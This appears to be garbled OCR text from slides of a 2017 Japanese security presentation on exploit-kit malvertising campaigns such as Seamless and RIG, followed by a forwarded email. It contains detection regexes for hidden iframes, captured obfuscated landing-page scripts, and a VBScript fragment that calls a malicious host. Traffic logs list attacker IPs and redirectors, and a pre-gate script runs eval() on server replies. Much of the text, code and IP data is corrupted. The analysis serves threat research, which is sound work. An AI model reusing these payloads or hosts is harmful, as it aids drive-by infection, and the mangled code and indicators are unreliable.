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Afraidgate /position:absolute; top:-([0-9]3,4)px/
ElTest /var ([a-zA-Z]4,8) = “iframe” /
GoodMan /div style=width:1px; height:1px; pos

ition:absolute; left:-500px; top:-500px;/

pseudo-Darkleech

/span style=“position:absolute;
top:-([0-9]3,4)px; width:([0-9]3)px;
height:([0-9]3)px;” /

Seamless

/iframe width=“0" scrolling=“no”
height=“0" frameborder=*“0”"

src=“.4" seamless= “seamless” /
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<html><head>

<meta http-equiv="X-UA-Compatible" content="IE=10">

<meta charset="UTF-8">

</head><body><hl>

Now how can it be
</hl><script>fgugnuyWz0="}, si5@ctMe@ec.si {PQtiQutss FOLTim@1L;

FMYCxvbjzF="var@crl@or/*s@6d@e849442¢* /v Qonson@cSPptes ag
bwPefYNPQb="son. stx<emx>ror=ena\ "ack\ "eeL) 85 (st oie\toci\n"; For(ncpGtNfZbs=

#=r b & M7= JavaScript

Sub fire()

On Error Resume Next

key="gexywoaxor"

url="http://side.chobaniandyr.com/?

a=w3roMvXcIxfQFYbGMv7DSKNbNk WHViPx0eGSMildZ-gZGX k7rDfF-goVvcCghWRxfALK&
atuif=1645&

0g=0F TbwLhhULRKQdkn4daAF8V vupikTRzxKViJWE9BSFMgMW-aKcHbUyBVT8xrEdQIZnxA&
ct=sround"

uas=Navigator.userAgent

Set oss=GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
Dim osloc
for each os in oss
osloc=o0s.0SLanguage
next
SetLocale(osloc)

Ta— MER
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HTTP/1.1 280 0K

Server: nginx/1.6.2 |HTTPI1.1 302 Foundl

Date: Tue, 22 Aug 2017 @8:04:15 GMT Server: nginx/1.6.2

Content-Type: text/html;charset=UTF-8 Date: Tue, 22 Aug 2017 ©8:40:19 GMT
Content-Length: 34419 Content-Type: text/html;charset=UTF-8
Connection: keep-alive Content-Length: 61385

Vary: Accept-Encoding Connection: keep-alive
Content-Encoding: gzip ILocation: http://www.zapmeta.ws |

1IEBDL ARV R 2EEDL XA R
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Exploit Kit |Campaign |Count
Fobos 43
Ngay 34
RIG Motors 21
Rulan 14
Seamless 2
Z Dt 7
KaiXin KaiXin 4
Terror Terror 2
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« 2017F3AELIOERAENIZLCH T
« GateTfERHINSiframeD @M (Cseamlessh TFE L 72
« RigEK% B\ /-Malvertising R DIXE F v > R—
« Pre-Gate& Gatex W TIRE AT

Advertisement Pre-Gate

Seamless Campaign
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Seamless Campaign

« Pre-Gate

server IP

194.58.38.57 194.558.38.57
cdnis.cloudflar... istimezonedetect

104.19.195.102

194.58.38.57 194.58.38.57 Pre-Gate

194.58.38.57 194.58.38.57 Pre-Gate
Svoluum/1b0358c4-3746-... Redirector

13.113.77.212 finsheer-perre...
€70 13.112.178.145 HTTP GET 200  kcsmij.redirect... /redirect?target=BASEG4a... 119 Redirector

194.58.40.193 194.58.40.193 /[testlll.php
188.225.46.145 188.225.46.145 [?MjQ4MzM5&hDhbbIVDz...

/ajax/libs/istimezonedetect...

d = jstz.determine();

e = d.name();
$.ajax({

url: location.href,

type: "POST",
data: "tz=" + e + "&r=" + document.referrer + "&he=" + g,

success: (a) {
eval(a)
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Seamless Campaign

« Pre-Gate

# Server IP Prot... Method Result Host URL Body Comments

194.58.38.57 194.58.38.57 [japan/
04.19.195.10 dnis.cloudfls '3iax/libs/iztimeropnedetec meronedetect

194.58.38.57 194.58.38.57 [japan/ Pre-Gate
194.58.38.57 194.58.38.57 [iapan/ Pre-Gate
13.113.77.212 finsheer-perre... [voluum/1b0358c4-3746-... Redirector
13.112.178.145 kcsmij.redirect...  [redirect?target=BASEG4a... Redirector
194.58.40.193 194.55.40.193 [test111.php
188.225.46.145 188.225.46.145 /?MjQ4MzM5&hDhbblVDz...

$("body").remove(); $("html™).append(“body™).html("<div
window.location.href =

“http

20



Seamless Campaign

- Gate

# Server IP Prot... Method Result Host URL Body Comments
194.58.38.57 200 194.58.38.57
104.19.195.102 cdnjs.cloudflar... /ajax/libs/jstimezonedetect... jstimezonedetect

194.58.38.57 194.58.38.57 Pre-Gate

194.58.38.57 194.58.38.57 Pre-Gate
€¥69 13.113.77.212 HTTP  GET 200  flinsheer-perre... /voluum/1b0358c4-3746-... 258 Redirector

13.112.178.145 kcsmi.redirect... J/redirect?target=BASEG4a... Redirector

194.58.40.193 194.58.40.193 [ftestlll.php

1588.225.46.145 188.225.46.145 [?MjQ4MzM5&hDhbbIVDE...
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———————— Forwarded Message ----—----
Subject: 2= (IPSI&H)

From: Hiroaki Kikuchi
To: FitAlRSE

A,
(FaAE(CiEA BRI AEICHEERLET)

FTT. FAFRERORANILIIPICBERLTVSE
BN GhEURE. SEIROBENTT.



i e

<html><head>
<meta http-equiv="X-UA-Compatible" content="IE=10">
<meta charset="UTF-8">
</head><body><script>ykMiPiVZHH=""6c;oc1€pse; }, @ect@ si{P
/*¥gl31g75fn*/
HxVpMUrhed="va@acorg@scL; @/ *s@9d39€Q4hTf§0069€* /ocioLe QoW

tpxglEalqG=""son.stx<emx>eor=ena\ "ack\ "eeL) 85 (st oe\toa\n"; /*x60041a

<html><head>
<meta http-equiv="X-UA-Compatible" content="IE=18">
<{meta charset="UTF-8">
</head><body><script>
<script>
</script></body></html>
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